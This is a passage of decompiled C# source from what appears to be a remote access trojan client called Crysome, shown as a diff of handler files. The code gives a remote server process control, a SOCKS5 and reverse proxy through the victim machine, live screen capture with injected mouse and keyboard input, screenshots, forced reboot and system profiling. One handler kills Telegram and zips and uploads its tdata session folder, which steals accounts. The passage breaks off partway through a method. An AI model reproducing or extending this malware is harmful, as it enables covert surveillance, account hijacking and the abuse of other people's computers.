using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class ProcessHandlers
{
private const int MaxProcesses = 500;
private const int IconSizePx = 16;
private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize);
public static void HandleGetProcessList(CrysomeClient client, IPacket packet)
{
//IL_0082: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Unknown result type (might be due to invalid IL or missing references)
//IL_0093: Expected O, but got Unknown
//IL_004a: Unknown result type (might be due to invalid IL or missing references)
//IL_0054: Expected O, but got Unknown
List<ProcessListEntry> list = new List<ProcessListEntry>();
try
{
foreach (Process item in Process.GetProcesses().Take(500))
{
try
{
string text = item.ProcessName ?? "";
int id = item.Id;
byte[] processIcon = GetProcessIcon(item);
list.Add(new ProcessListEntry(text, id, processIcon));
}
catch
{
}
finally
{
try
{
item.Dispose();
}
catch
{
}
}
}
}
catch (Exception)
{
}
client.SendPacket((IPacket)new GetProcessListResponsePacket
{
Processes = list
});
}
public static void HandleKillProcess(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
KillProcessRequestPacket val = (KillProcessRequestPacket)packet;
try
{
Process.GetProcessById(val.Pid).Kill();
}
catch (Exception)
{
}
}
private static byte[] GetProcessIcon(Process proc)
{
try
{
string processPath = GetProcessPath(proc.Id);
if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
{
return new byte[0];
}
using Icon icon = Icon.ExtractAssociatedIcon(processPath);
if (icon == null)
{
return new byte[0];
}
using Bitmap bitmap = new Bitmap(16, 16);
using Graphics graphics = Graphics.FromImage(bitmap);
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphics.DrawIcon(icon, new Rectangle(0, 0, 16, 16));
using MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Png);
return memoryStream.ToArray();
}
catch
{
return new byte[0];
}
}
private static string GetProcessPath(int pid)
{
try
{
using Process process = Process.GetProcessById(pid);
return process.MainModule?.FileName;
}
catch
{
}
StringBuilder stringBuilder = new StringBuilder(1024);
IntPtr intPtr = OpenProcess(4096u, bInheritHandle: false, pid);
if (intPtr == IntPtr.Zero)
{
return null;
}
try
{
int lpdwSize = stringBuilder.Capacity;
if (QueryFullProcessImageName(intPtr, 0, stringBuilder, ref lpdwSize))
{
return stringBuilder.ToString();
}
}
finally
{
CloseHandle(intPtr);
}
return null;
}
}
Crysome.Client/Crysome.Client.Handlers/ProxyHandlers.cs
+315
View File
@@ -0,0 +1,315 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class ProxyHandlers
{
private static TcpListener _socksListener;
private static volatile bool _running;
private static CrysomeClient _serverClient;
private static volatile bool _reverseProxyMode;
private static readonly ConcurrentDictionary<int, ReverseProxyStream> _reverseProxyStreams = new ConcurrentDictionary<int, ReverseProxyStream>();
public static void HandleStartProxy(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_00f3: Unknown result type (might be due to invalid IL or missing references)
//IL_00fd: Expected O, but got Unknown
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0027: Expected O, but got Unknown
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
//IL_0042: Expected O, but got Unknown
//IL_00d4: Unknown result type (might be due to invalid IL or missing references)
//IL_00de: Expected O, but got Unknown
_ = (StartProxyRequestPacket)packet;
_serverClient = client;
if (_reverseProxyMode)
{
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy active"));
return;
}
if (_running)
{
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy already running"));
return;
}
try
{
_socksListener = new TcpListener(IPAddress.Loopback, 0);
_socksListener.Start();
int port = ((IPEndPoint)_socksListener.LocalEndpoint).Port;
_running = true;
Program.Log("SOCKS5 proxy started on port " + port);
Thread thread = new Thread((ThreadStart)delegate
{
AcceptLoop();
});
thread.IsBackground = true;
thread.Start();
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Proxy active on port " + port));
}
catch (Exception ex)
{
client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Failed: " + ex.Message));
}
}
public static void HandleStartReverseProxy(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_00b5: Unknown result type (might be due to invalid IL or missing references)
//IL_00bf: Expected O, but got Unknown
StartReverseProxyPacket val = (StartReverseProxyPacket)packet;
_running = false;
try
{
_socksListener?.Stop();
}
catch
{
}
_socksListener = null;
KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
for (int i = 0; i < array.Length; i++)
{
KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
keyValuePair.Value.CloseFromRemote();
_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
}
_reverseProxyMode = true;
_serverClient = client;
Program.Log("Reverse proxy mode: use 127.0.0.1:" + val.ServerPort + " on the server");
client.SendPacket((IPacket)new ProxyStatusResponsePacket(true, "Reverse proxy ready on 127.0.0.1:" + val.ServerPort));
}
public static void HandleStopProxy(CrysomeClient client, IPacket packet)
{
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Expected O, but got Unknown
_running = false;
_reverseProxyMode = false;
try
{
_socksListener?.Stop();
}
catch
{
}
_socksListener = null;
KeyValuePair<int, ReverseProxyStream>[] array = _reverseProxyStreams.ToArray();
for (int i = 0; i < array.Length; i++)
{
KeyValuePair<int, ReverseProxyStream> keyValuePair = array[i];
keyValuePair.Value.CloseFromRemote();
_reverseProxyStreams.TryRemove(keyValuePair.Key, out var _);
}
Program.Log("SOCKS5 proxy stopped");
client.SendPacket((IPacket)new ProxyStatusResponsePacket(false, "Proxy stopped"));
}
public static void HandleReverseProxyStart(CrysomeClient client, IPacket packet)
{
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
ReverseProxyStartPacket val = (ReverseProxyStartPacket)packet;
int connId = val.ConnectionId;
ReverseProxyStream stream = new ReverseProxyStream(delegate(byte[] data)
{
//IL_000d: Unknown result type (might be due to invalid IL or missing references)
//IL_0017: Expected O, but got Unknown
try
{
client.SendPacket((IPacket)new ReverseProxyDataPacket(connId, data));
}
catch
{
}
});
if (!_reverseProxyStreams.TryAdd(connId, stream))
{
stream.CloseFromRemote();
return;
}
Thread thread = new Thread((ThreadStart)delegate
{
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
//IL_004d: Expected O, but got Unknown
try
{
HandleSocksClientFromStream(stream, connId, client);
}
finally
{
_reverseProxyStreams.TryRemove(connId, out var _);
stream.CloseFromRemote();
try
{
client.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
}
catch
{
}
}
});
thread.IsBackground = true;
thread.Start();
}
public static void HandleReverseProxyData(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
if (_reverseProxyStreams.TryGetValue(val.ConnectionId, out var value))
{
value.Push(val.Data);
}
}
public static void HandleReverseProxyEnd(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
if (_reverseProxyStreams.TryRemove(val.ConnectionId, out var value))
{
value.CloseFromRemote();
}
}
private static void AcceptLoop()
{
while (_running)
{
try
{
TcpClient inbound = _socksListener.AcceptTcpClient();
Thread thread = new Thread((ThreadStart)delegate
{
HandleSocksClient(inbound);
});
thread.IsBackground = true;
thread.Start();
}
catch
{
if (!_running)
{
break;
}
}
}
}
private static void HandleSocksClient(TcpClient inbound)
{
try
{
HandleSocksClientFromStream(inbound.GetStream(), -1, null);
inbound.Close();
}
catch
{
try
{
inbound.Close();
}
catch
{
}
}
}
private static void HandleSocksClientFromStream(Stream stream, int connectionId, CrysomeClient client)
{
try
{
byte[] array = new byte[256];
if (stream.Read(array, 0, array.Length) < 2 || array[0] != 5)
{
return;
}
stream.Write(new byte[2] { 5, 0 }, 0, 2);
if (stream.Read(array, 0, array.Length) >= 7 && array[0] == 5 && array[1] == 1)
{
string text = "";
int port = 0;
if (array[3] == 1)
{
text = array[4] + "." + array[5] + "." + array[6] + "." + array[7];
port = (array[8] << 8) | array[9];
}
else if (array[3] == 3)
{
int num = array[4];
text = Encoding.ASCII.GetString(array, 5, num);
port = (array[5 + num] << 8) | array[6 + num];
}
else if (array[3] == 4)
{
return;
}
Program.Log("SOCKS5 connect: " + text + ":" + port);
TcpClient tcpClient = new TcpClient();
tcpClient.Connect(text, port);
byte[] array2 = new byte[10] { 5, 0, 0, 1, 0, 0, 0, 0, 0, 0 };
stream.Write(array2, 0, array2.Length);
NetworkStream remoteStream = tcpClient.GetStream();
Thread thread = new Thread((ThreadStart)delegate
{
Relay(stream, remoteStream);
})
{
IsBackground = true
};
Thread obj = new Thread((ThreadStart)delegate
{
Relay(remoteStream, stream);
})
{
IsBackground = true
};
thread.Start();
obj.Start();
thread.Join();
obj.Join();
tcpClient.Close();
}
}
catch
{
}
}
private static void Relay(Stream from, Stream to)
{
try
{
byte[] array = new byte[8192];
int count;
while ((count = from.Read(array, 0, array.Length)) > 0)
{
to.Write(array, 0, count);
}
}
catch
{
}
}
}
Crysome.Client/Crysome.Client.Handlers/RemoteDesktopHandlers.cs
+422
View File
@@ -0,0 +1,422 @@
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using TurboJpegWrapper;
namespace Crysome.Client.Handlers;
public static class RemoteDesktopHandlers
{
private struct INPUT
{
public uint type;
public InputUnion U;
public static int Size => Marshal.SizeOf(typeof(INPUT));
}
[StructLayout(LayoutKind.Explicit)]
private struct InputUnion
{
[FieldOffset(0)]
public MOUSEINPUT mi;
[FieldOffset(0)]
public KEYBDINPUT ki;
}
private struct MOUSEINPUT
{
public int dx;
public int dy;
public uint mouseData;
public uint dwFlags;
public uint time;
public IntPtr dwExtraInfo;
}
private struct KEYBDINPUT
{
public ushort wVk;
public ushort wScan;
public uint dwFlags;
public uint time;
public IntPtr dwExtraInfo;
}
private static volatile bool _desktopRunning;
private static Thread _desktopThread;
private static CrysomeClient _desktopClient;
private static int _intervalMs = 200;
private static int _screenIndex = -1;
private static volatile int _jpegQuality = 80;
private static byte _captureMode;
public static string ActiveMode { get; private set; } = "Idle";
private static ImageCodecInfo _jpegCodec;
private static readonly object _codecLock = new object();
private static TurboJpegWrapper.TJCompressor _turboCompressor;
private static bool _turboChecked;
private const int SM_XVIRTUALSCREEN = 76;
private const int SM_YVIRTUALSCREEN = 77;
private const int SM_CXVIRTUALSCREEN = 78;
private const int SM_CYVIRTUALSCREEN = 79;
public static void HandleGetScreens(CrysomeClient client, IPacket packet)
{
try
{
Screen[] allScreens = Screen.AllScreens;
ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length];
for (int i = 0; i < allScreens.Length; i++)
{
Screen screen = allScreens[i];
array[i] = new ScreenInfo
{
Name = screen.DeviceName,
X = screen.Bounds.X,
Y = screen.Bounds.Y,
Width = screen.Bounds.Width,
Height = screen.Bounds.Height,
IsPrimary = screen.Primary
};
}
client.SendPacket((IPacket)new ScreensResponsePacket(array));
}
catch
{
client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0]));
}
}
public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet)
{
_desktopRunning = false;
_desktopThread?.Join(500);
StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet;
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
_screenIndex = val.ScreenIndex;
_captureMode = val.CaptureMode;
_desktopClient = client;
_jpegQuality = 80;
_desktopRunning = true;
_desktopThread = new Thread(DesktopLoop) { IsBackground = true };
_desktopThread.Start();
}
public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet)
{
_desktopRunning = false;
_desktopThread?.Join(2000);
}
public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet)
{
RdpSetQualityPacket val = (RdpSetQualityPacket)packet;
_jpegQuality = Math.Max(10, Math.Min(95, val.Quality));
if (val.IntervalMs > 0)
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
}
public static void HandleRemoteInput(CrysomeClient client, IPacket packet)
{
RemoteInputPacket val = (RemoteInputPacket)packet;
try
{
int offsetX = 0, offsetY = 0;
Screen targetScreen = GetTargetScreen();
if (targetScreen != null)
{
offsetX = targetScreen.Bounds.X;
offsetY = targetScreen.Bounds.Y;
}
int x = val.X + offsetX;
int y = val.Y + offsetY;
switch (val.Kind)
{
case 0: SendMouseMove(x, y); break;
case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break;
case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break;
case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break;
case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break;
}
}
catch { }
}
private static void DesktopLoop()
{
var sw = new Stopwatch();
DxgiCapture dxgi = null;
bool dxgiAvailable = false;
int dxgiRetryCounter = 0;
if (_captureMode == 2)
{
// GDI+ forced — skip DXGI entirely
dxgiAvailable = false;
ActiveMode = "GDI+ (forced)";
Program.Log("[RDP] GDI+ forced by server, skipping DXGI");
}
else
{
// Try DXGI (Auto or DXGI forced)
try
{
dxgi = new DxgiCapture();
int idx = _screenIndex >= 0 ? _screenIndex : 0;
dxgiAvailable = dxgi.Init(idx);
if (dxgiAvailable)
{
ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI";
Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : ""));
}
}
catch
{
dxgiAvailable = false;
}
if (!dxgiAvailable)
{
if (_captureMode == 1)
{
// DXGI forced but failed — log error, don't fall back
ActiveMode = "DXGI (failed)";
Program.Log("[RDP] DXGI forced but init failed, no fallback");
}
else
{
// Auto mode — fall back to GDI+
ActiveMode = "GDI+";
Program.Log("[RDP] DXGI unavailable, using GDI+ fallback");
}
}
}
Bitmap gdiBitmap = null;
Rectangle gdiRect = Rectangle.Empty;
try
{
while (_desktopRunning && _desktopClient != null)
{
sw.Restart();
try
{
byte[] jpeg = null;
if (dxgiAvailable)
{
jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16);
if (jpeg != null)
{
dxgiRetryCounter = 0;
}
else
{
dxgiRetryCounter++;
if (dxgiRetryCounter > 120)
{
Program.Log("[RDP] DXGI reinit");
int idx = _screenIndex >= 0 ? _screenIndex : 0;
dxgiAvailable = dxgi.Init(idx);
dxgiRetryCounter = 0;
if (!dxgiAvailable)
{
if (_captureMode == 1)
{
Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback");
ActiveMode = "DXGI (failed)";
}
else
{
Program.Log("[RDP] DXGI reinit failed, falling back to GDI+");
ActiveMode = "GDI+";
}
dxgi.Dispose();
dxgi = null;
}
}
}
}
if (!dxgiAvailable && _captureMode != 1)
{
Rectangle bounds = GetTargetScreen().Bounds;
if (gdiBitmap == null || bounds != gdiRect)
{
gdiBitmap?.Dispose();
gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
gdiRect = bounds;
}
jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality);
}
if (jpeg != null && jpeg.Length > 0)
{
try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { }
}
}
catch { }
int elapsed = (int)sw.ElapsedMilliseconds;
int sleep = _intervalMs - elapsed;
if (sleep > 1)
Thread.Sleep(sleep);
}
}
finally
{
ActiveMode = "Idle";
dxgi?.Dispose();
gdiBitmap?.Dispose();
}
}
private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality)
{
if (!_turboChecked)
{
_turboChecked = true;
try { _turboCompressor = new TJCompressor(); }
catch { _turboCompressor = null; }
}
if (_turboCompressor != null)
{
try
{
var bmpData = bmp.LockBits(
new Rectangle(0, 0, bmp.Width, bmp.Height),
ImageLockMode.ReadOnly,
PixelFormat.Format24bppRgb);
try
{
return _turboCompressor.Compress(
bmpData.Scan0,
bmpData.Stride,
bmp.Width,
bmp.Height,
TJPixelFormats.TJPF_BGR,
TJSubsamplingOptions.TJSAMP_420,
quality,
TJFlags.FASTDCT);
}
finally
{
bmp.UnlockBits(bmpData);
}
}
catch
{
_turboCompressor = null;
}
}
var codec = GetJpegCodec();
if (codec != null)
{
using (var ep = new EncoderParameters(1))
{
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
using (var ms = new MemoryStream(65536))
{
bmp.Save(ms, codec, ep);
return ms.ToArray();
}
}
}
using (var ms = new MemoryStream(65536))
{
bmp.Save(ms, ImageFormat.Jpeg);
return ms.ToArray();
}
}
private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality)
{
using (var g = Graphics.FromImage(reuseBmp))
g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
return EncodeBitmapToJpeg(reuseBmp, quality);
}
private static ImageCodecInfo GetJpegCodec()
{
if (_jpegCodec != null) return _jpegCodec;
lock (_codecLock)
{
if (_jpegCodec != null) return _jpegCodec;
foreach (var info in ImageCodecInfo.GetImageEncoders())
{
if (info.FormatID == ImageFormat.Jpeg.Guid)
{
_jpegCodec = info;
break;
}
}
}
return _jpegCodec;
}
private static Screen GetTargetScreen()
{
var all = Screen.AllScreens;
if (_screenIndex >= 0 && _screenIndex < all.Length)
return all[_screenIndex];
return Screen.PrimaryScreen;
}
private static void ToAbsolute(int x, int y, out int ax, out int ay)
{
int vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
int vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width;
if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height;
ax = (int)((double)(x - vx) * 65535.0 / vw);
ay = (int)((double)(y - vy) * 65535.0 / vh);
}
private static void SendMouseMove(int x, int y)
{
ToAbsolute(x, y, out var ax, out var ay);
var input = new INPUT[1];
input[0].type = 0;
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 };
SendInput(1, input, INPUT.Size);
}
private static void SendMouseButton(int x, int y, int button, bool down)
{
ToAbsolute(x, y, out var ax, out var ay);
uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u);
var input = new INPUT[1];
input[0].type = 0;
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags };
SendInput(1, input, INPUT.Size);
}
private static void SendKey(ushort vk, bool down)
{
var input = new INPUT[1];
input[0].type = 1;
input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u };
SendInput(1, input, INPUT.Size);
}
[DllImport("user32.dll", SetLastError = true)]
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
[DllImport("user32.dll")]
private static extern int GetSystemMetrics(int nIndex);
}
Crysome.Client/Crysome.Client.Handlers/ReverseProxyStream.cs
+144
View File
@@ -0,0 +1,144 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading;
namespace Crysome.Client.Handlers;
internal sealed class ReverseProxyStream : Stream
{
private readonly Queue<byte[]> _chunks = new Queue<byte[]>();
private byte[] _currentChunk;
private int _currentOffset;
private readonly object _lock = new object();
private bool _closed;
private readonly Action<byte[]> _sendToServer;
public override bool CanRead => true;
public override bool CanWrite => true;
public override bool CanSeek => false;
public override long Length
{
get
{
throw new NotSupportedException();
}
}
public override long Position
{
get
{
throw new NotSupportedException();
}
set
{
throw new NotSupportedException();
}
}
public ReverseProxyStream(Action<byte[]> sendToServer)
{
_sendToServer = sendToServer ?? throw new ArgumentNullException("sendToServer");
}
public void Push(byte[] data)
{
if (data == null || data.Length == 0)
{
return;
}
lock (_lock)
{
if (!_closed)
{
_chunks.Enqueue(data);
Monitor.Pulse(_lock);
}
}
}
public void CloseFromRemote()
{
lock (_lock)
{
_closed = true;
Monitor.PulseAll(_lock);
}
}
public override int Read(byte[] buffer, int offset, int count)
{
if (buffer == null || offset < 0 || count <= 0)
{
return 0;
}
lock (_lock)
{
int num = 0;
while (num < count)
{
if (_currentChunk != null && _currentOffset < _currentChunk.Length)
{
int num2 = Math.Min(count - num, _currentChunk.Length - _currentOffset);
Array.Copy(_currentChunk, _currentOffset, buffer, offset + num, num2);
_currentOffset += num2;
num += num2;
if (_currentOffset >= _currentChunk.Length)
{
_currentChunk = null;
_currentOffset = 0;
}
if (num > 0)
{
return num;
}
}
if (_chunks.Count > 0)
{
_currentChunk = _chunks.Dequeue();
_currentOffset = 0;
continue;
}
if (_closed)
{
return (num > 0) ? num : 0;
}
Monitor.Wait(_lock);
}
return num;
}
}
public override void Write(byte[] buffer, int offset, int count)
{
if (buffer != null && count > 0 && offset >= 0 && offset + count <= buffer.Length)
{
byte[] array = new byte[count];
Array.Copy(buffer, offset, array, 0, count);
_sendToServer(array);
}
}
public override long Seek(long offset, SeekOrigin origin)
{
throw new NotSupportedException();
}
public override void SetLength(long value)
{
throw new NotSupportedException();
}
public override void Flush()
{
}
}
Crysome.Client/Crysome.Client.Handlers/SystemHandlers.cs
+80
View File
@@ -0,0 +1,80 @@
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using Crysome.Client.Configuration;
using Crysome.Client.Inventory;
using Crysome.Client.SystemInfo;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class SystemHandlers
{
public static void HandleGetSystemInfo(CrysomeClient client, IPacket packet)
{
//IL_002f: Unknown result type (might be due to invalid IL or missing references)
//IL_0039: Expected O, but got Unknown
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
client.SendPacket((IPacket)new GetSystemInfoResponsePacket(ClientConfiguration.Identifier, client.LocalAddress.ToString(), client.Port, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem));
}
public static void HandleClientInfo(CrysomeClient client, IPacket packet)
{
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
//IL_007a: Expected O, but got Unknown
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
client.SendPacket((IPacket)new ClientInfoResponsePacket(ClientConfiguration.Identifier, (client.RemoteAddress != null) ? client.RemoteAddress.Address.ToString() : "0.0.0.0", (client.RemoteAddress != null) ? client.RemoteAddress.Port : 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, systemInformation.GPU));
InventoryReportBuilder.OnClientInfoPoll(client);
}
public static void HandleGetDrives(CrysomeClient client, IPacket packet)
{
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
//IL_0050: Expected O, but got Unknown
long num = 0L;
GetDrivesRequestPacket val = (GetDrivesRequestPacket)(object)((packet is GetDrivesRequestPacket) ? packet : null);
if (val != null)
{
num = val.RequestId;
}
string[] array = (from d in DriveInfo.GetDrives()
select d.Name).ToArray();
client.SendPacket((IPacket)new GetDrivesResponsePacket(array, num));
}
public static void HandleTakeScreenshot(CrysomeClient client, IPacket packet)
{
//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
//IL_00af: Expected O, but got Unknown
byte[] array = null;
try
{
Rectangle bounds = Screen.PrimaryScreen.Bounds;
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy);
}
using MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Png);
array = memoryStream.ToArray();
}
catch (Exception)
{
array = new byte[0];
}
client.SendPacket((IPacket)new TakeScreenshotResponsePacket(array ?? new byte[0]));
}
public static void HandleRestart(CrysomeClient client, IPacket packet)
{
Process.Start("shutdown.exe", "-r -t 00");
}
}
Crysome.Client/Crysome.Client.Handlers/TelegramHandlers.cs
+235
View File
@@ -0,0 +1,235 @@
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
namespace Crysome.Client.Handlers;
public static class TelegramHandlers
{
private static readonly string[] TdataPaths = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Telegram Desktop\\tdata"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Telegram Desktop\\tdata")
};
private static readonly string[] BlacklistDirs = new string[14]
{
"dumps", "emojis", "emoji", "user_data", "working", "tdummy", "user_data#2", "user_data#3", "user_data#4", "user_data#5",
"updates", "temp", "log.txt", "log_full.txt"
};
private const long MaxZipBytes = 52428800L;
private const long MaxFileBytes = 10485760L;
public static void HandleTelegramSessionRequest(CrysomeClient client, IPacket packet)
{
Task.Run(delegate
{
DoCollectTelegramSession(client);
});
}
private static void DoCollectTelegramSession(CrysomeClient client)
{
string userName = "";
try
{
userName = Environment.UserName;
}
catch
{
}
KillTelegram();
string text = TdataPaths.FirstOrDefault((string p) => Directory.Exists(p) && Directory.GetFileSystemEntries(p).Length != 0);
if (string.IsNullOrEmpty(text))
{
Send(client, userName, null, "Telegram tdata not found.");
return;
}
try
{
byte[] array = ZipTdata(text);
if (array == null || array.Length == 0)
{
Send(client, userName, null, "tdata folder is empty or all files were skipped.");
}
else
{
Send(client, userName, array, null);
}
}
catch (Exception ex)
{
Program.Log("TelegramSession error: " + ex.Message);
Send(client, userName, null, ex.Message);
}
}
private static void KillTelegram()
{
string[] array = new string[2] { "Telegram", "telegram" };
foreach (string processName in array)
{
try
{
Process[] processesByName = Process.GetProcessesByName(processName);
foreach (Process process in processesByName)
{
try
{
process.Kill();
process.WaitForExit(2000);
}
catch
{
}
finally
{
try
{
process.Dispose();
}
catch
{
}
}
}
}
catch
{
}
}
Thread.Sleep(800);
}
private static byte[] ZipTdata(string tdataPath)
{
using MemoryStream memoryStream = new MemoryStream();
using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
{
long totalBytes = 0L;
PackDirectory(zip, tdataPath, "", ref totalBytes);
}
return memoryStream.ToArray();
}
private static void PackDirectory(ZipArchive zip, string dirPath, string entryBase, ref long totalBytes)
{
if (totalBytes >= 52428800)
{
return;
}
try
{
string[] files = Directory.GetFiles(dirPath);
foreach (string text in files)
{
if (totalBytes >= 52428800)
{
break;
}
string fileName = Path.GetFileName(text);
if (fileName.EndsWith(".txt", StringComparison.OrdinalIgnoreCase))
{
continue;
}
long num = 0L;
try
{
num = new FileInfo(text).Length;
}
catch
{
continue;
}
if (num > 10485760 || num == 0L)
{
continue;
}
string entryName = (string.IsNullOrEmpty(entryBase) ? fileName : (entryBase + "/" + fileName));
try
{
using Stream stream = zip.CreateEntry(entryName, CompressionLevel.Optimal).Open();
using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
byte[] array = new byte[81920];
int num2;
while ((num2 = fileStream.Read(array, 0, array.Length)) > 0 && totalBytes + num2 <= 52428800)
{
stream.Write(array, 0, num2);
totalBytes += num2;
}
}
catch
{
}
}
}
catch
{
}
try
{
string[] files = Directory.GetDirectories(dirPath);
foreach (string text2 in files)
{
if (totalBytes < 52428800)
{
string fileName2 = Path.GetFileName(text2);
if (!IsBlacklisted(fileName2))
{
string entryBase2 = (string.IsNullOrEmpty(entryBase) ? fileName2 : (entryBase + "/" + fileName2));
PackDirectory(zip, text2, entryBase2, ref totalBytes);
}
continue;
}
break;
}
}
catch
{
}
}
private static bool IsBlacklisted(string name)
{
string[] blacklistDirs = BlacklistDirs;
foreach (string b in blacklistDirs)
{
if (string.Equals(name, b, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
return false;
}
private static void Send(CrysomeClient client, string userName, byte[] zip, string error)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
